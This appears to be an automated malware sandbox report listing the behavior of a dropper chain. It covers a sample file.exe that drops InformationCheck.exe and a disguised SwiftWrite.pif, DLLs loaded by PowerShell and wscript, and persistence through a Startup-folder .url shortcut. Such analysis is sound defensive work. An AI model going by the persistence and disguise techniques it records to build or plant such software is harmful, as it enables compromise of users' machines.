Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\Public\InformationCheck.exe	Section loaded: wsock32.dll	Jump to behavior
Source: C:\Users\Public\InformationCheck.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\Public\InformationCheck.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\Public\InformationCheck.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Users\Public\InformationCheck.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\Public\InformationCheck.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\Public\InformationCheck.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\Public\InformationCheck.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\Public\InformationCheck.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\Public\InformationCheck.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\Public\InformationCheck.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\Public\InformationCheck.exe	Section loaded: napinsp.dll	Jump to behavior
Source: C:\Users\Public\InformationCheck.exe	Section loaded: pnrpnsp.dll	Jump to behavior
Source: C:\Users\Public\InformationCheck.exe	Section loaded: wshbth.dll	Jump to behavior
Source: C:\Users\Public\InformationCheck.exe	Section loaded: nlaapi.dll	Jump to behavior
Source: C:\Users\Public\InformationCheck.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\Public\InformationCheck.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\Public\InformationCheck.exe	Section loaded: winrnr.dll	Jump to behavior
Source: C:\Users\Public\InformationCheck.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sxs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: jscript.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrobj.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrrun.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: twext.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cscui.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\WordGenius Technologies\SwiftWrite.pif	Section loaded: wsock32.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\WordGenius Technologies\SwiftWrite.pif	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\WordGenius Technologies\SwiftWrite.pif	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\WordGenius Technologies\SwiftWrite.pif	Section loaded: mpr.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\WordGenius Technologies\SwiftWrite.pif	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\WordGenius Technologies\SwiftWrite.pif	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\WordGenius Technologies\SwiftWrite.pif	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\WordGenius Technologies\SwiftWrite.pif	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\WordGenius Technologies\SwiftWrite.pif	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\WordGenius Technologies\SwiftWrite.pif	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\WordGenius Technologies\SwiftWrite.pif	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\WordGenius Technologies\SwiftWrite.pif	Section loaded: napinsp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\WordGenius Technologies\SwiftWrite.pif	Section loaded: pnrpnsp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\WordGenius Technologies\SwiftWrite.pif	Section loaded: wshbth.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\WordGenius Technologies\SwiftWrite.pif	Section loaded: nlaapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\WordGenius Technologies\SwiftWrite.pif	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\WordGenius Technologies\SwiftWrite.pif	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\WordGenius Technologies\SwiftWrite.pif	Section loaded: winrnr.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\WordGenius Technologies\SwiftWrite.pif	Section loaded: rasadhlp.dll	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{f414c260-6ac0-11cf-b6d1-00aa00bbbb58}\InprocServer32

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File opened: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll

Jump to behavior

Source: file.exe

Static PE information: Image base 0x140000000 > 0x60000000

Source: file.exe

Static file information: File size 2016768 > 1048576

Source: file.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_IMPORT
Source: file.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_RESOURCE
Source: file.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_BASERELOC
Source: file.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_DEBUG
Source: file.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG
Source: file.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_IAT

Source: file.exe

Static PE information: HIGH_ENTROPY_VA, DYNAMIC_BASE, NX_COMPAT, TERMINAL_SERVER_AWARE

Source: file.exe

Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_DEBUG

Source: file.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_IMPORT is in: .rdata
Source: file.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_RESOURCE is in: .rsrc
Source: file.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_BASERELOC is in: .reloc
Source: file.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG is in: .rdata
Source: file.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_IAT is in: .rdata

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00007FF7978C7634 LoadLibraryA,GetProcAddress,

0_2_00007FF7978C7634

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00007FF7978678FD push rdi; ret	0_2_00007FF797867904
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00007FF797867399 push rdi; ret	0_2_00007FF7978673A2
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 1_2_00007FFD9B8742C0 pushad ; ret	1_2_00007FFD9B8742FD
Source: C:\Users\Public\InformationCheck.exe	Code function: 3_2_0048E93F push edi; ret	3_2_0048E941
Source: C:\Users\Public\InformationCheck.exe	Code function: 3_2_004C8A4A push FFFFFF8Bh; iretd	3_2_004C8A4C
Source: C:\Users\Public\InformationCheck.exe	Code function: 3_2_0048EA58 push esi; ret	3_2_0048EA5A
Source: C:\Users\Public\InformationCheck.exe	Code function: 3_2_00488B75 push ecx; ret	3_2_00488B88
Source: C:\Users\Public\InformationCheck.exe	Code function: 3_2_0047CBF1 push eax; retf	3_2_0047CBF8
Source: C:\Users\Public\InformationCheck.exe	Code function: 3_2_0048EC33 push esi; ret	3_2_0048EC35
Source: C:\Users\Public\InformationCheck.exe	Code function: 3_2_0048ED1C push edi; ret	3_2_0048ED1E
Source: C:\Users\user\AppData\Local\WordGenius Technologies\SwiftWrite.pif	Code function: 8_2_00F4E93F push edi; ret	8_2_00F4E941
Source: C:\Users\user\AppData\Local\WordGenius Technologies\SwiftWrite.pif	Code function: 8_2_00F4EA58 push esi; ret	8_2_00F4EA5A
Source: C:\Users\user\AppData\Local\WordGenius Technologies\SwiftWrite.pif	Code function: 8_2_00F88A4A push FFFFFF8Bh; iretd	8_2_00F88A4C
Source: C:\Users\user\AppData\Local\WordGenius Technologies\SwiftWrite.pif	Code function: 8_2_00F48B75 push ecx; ret	8_2_00F48B88
Source: C:\Users\user\AppData\Local\WordGenius Technologies\SwiftWrite.pif	Code function: 8_2_00F4EC33 push esi; ret	8_2_00F4EC35
Source: C:\Users\user\AppData\Local\WordGenius Technologies\SwiftWrite.pif	Code function: 8_2_00F4ED1C push edi; ret	8_2_00F4ED1E

Persistence and Installation Behavior

Drops PE files with a suspicious file extension

Source: C:\Users\Public\InformationCheck.exe

File created: C:\Users\user\AppData\Local\WordGenius Technologies\SwiftWrite.pif

Jump to dropped file

Source: C:\Users\Public\InformationCheck.exe	File created: C:\Users\user\AppData\Local\WordGenius Technologies\SwiftWrite.pif			Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\Public\InformationCheck.exe			Jump to dropped file

Source: C:\Users\user\Desktop\file.exe

File created: C:\Users\Public\InformationCheck.exe

Jump to dropped file

Boot Survival

Drops PE files to the user root directory

Source: C:\Users\user\Desktop\file.exe

File created: C:\Users\Public\InformationCheck.exe

Jump to dropped file

Source: C:\Windows\SysWOW64\cmd.exe

File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\SwiftWrite.url

Jump to behavior

Source: C:\Windows\SysWOW64\cmd.exe

File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\SwiftWrite.url

Jump to behavior

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00007FF797854514 GetForegroundWindow,FindWindowW,IsIconic,ShowWindow,SetForegroundWindow,GetWindowThreadProcessId,GetCurrentThreadId,GetWindowThreadProcessId,AttachThreadInput,AttachThreadInput,AttachThreadInput,SetForegroundWindow,MapVirtualKeyW,keybd_event,MapVirtualKeyW,keybd_event,MapVirtualKeyW,keybd_event,MapVirtualKeyW,keybd_event,SetForegroundWindow,AttachThreadInput,AttachThreadInput,AttachThreadInput,	0_2_00007FF797854514
Source: C:\Users\Public\InformationCheck.exe	Code function: 3_2_004E59B3 IsWindowVisible,IsWindowEnabled,GetForegroundWindow,IsIconic,IsZoomed,	3_2_004E59B3
Source: C:\Users\Public\InformationCheck.exe	Code function: 3_2_00475EDA GetForegroundWindow,FindWindowW,IsIconic,ShowWindow,SetForegroundWindow,GetWindowThreadProcessId,GetWindowThreadProcessId,GetCurrentThreadId,GetWindowThreadProcessId,AttachThreadInput,AttachThreadInput,AttachThreadInput,AttachThreadInput,SetForegroundWindow,MapVirtualKeyW,MapVirtualKeyW,keybd_event,keybd_event,MapVirtualKeyW,keybd_event,MapVirtualKeyW,keybd_event,MapVirtualKeyW,keybd_event,SetForegroundWindow,AttachThreadInput,AttachThreadInput,AttachThreadInput,AttachThreadInput,	3_2_00475EDA
Source: C:\Users\user\AppData\Local\WordGenius Technologies\SwiftWrite.pif	Code function: 8_2_00FA59B3 IsWindowVisible,IsWindowEnabled,GetForegroundWindow,IsIconic,IsZoomed,	8_2_00FA59B3
Source: C:\Users\user\AppData\Local\WordGenius Technologies\SwiftWrite.pif	Code function: 8_2_00F35EDA GetForegroundWindow,FindWindowW,IsIconic,ShowWindow,SetForegroundWindow,GetWindowThreadProcessId,GetWindowThreadProcessId,GetCurrentThreadId,GetWindowThreadProcessId,AttachThreadInput,AttachThreadInput,AttachThreadInput,AttachThreadInput,SetForegroundWindow,MapVirtualKeyW,MapVirtualKeyW,keybd_event,keybd_event,MapVirtualKeyW,keybd_event,MapVirtualKeyW,keybd_event,MapVirtualKeyW,keybd_event,SetForegroundWindow,AttachThreadInput,AttachThreadInput,AttachThreadInput,AttachThreadInput,	8_2_00F35EDA

Source: C:\Users\Public\InformationCheck.exe

Code function: 3_2_004833B7 EncodePointer,__initp_misc_winsig,GetModuleHandleW,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,

3_2_004833B7

Source: C:\Users\user\Desktop\file.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
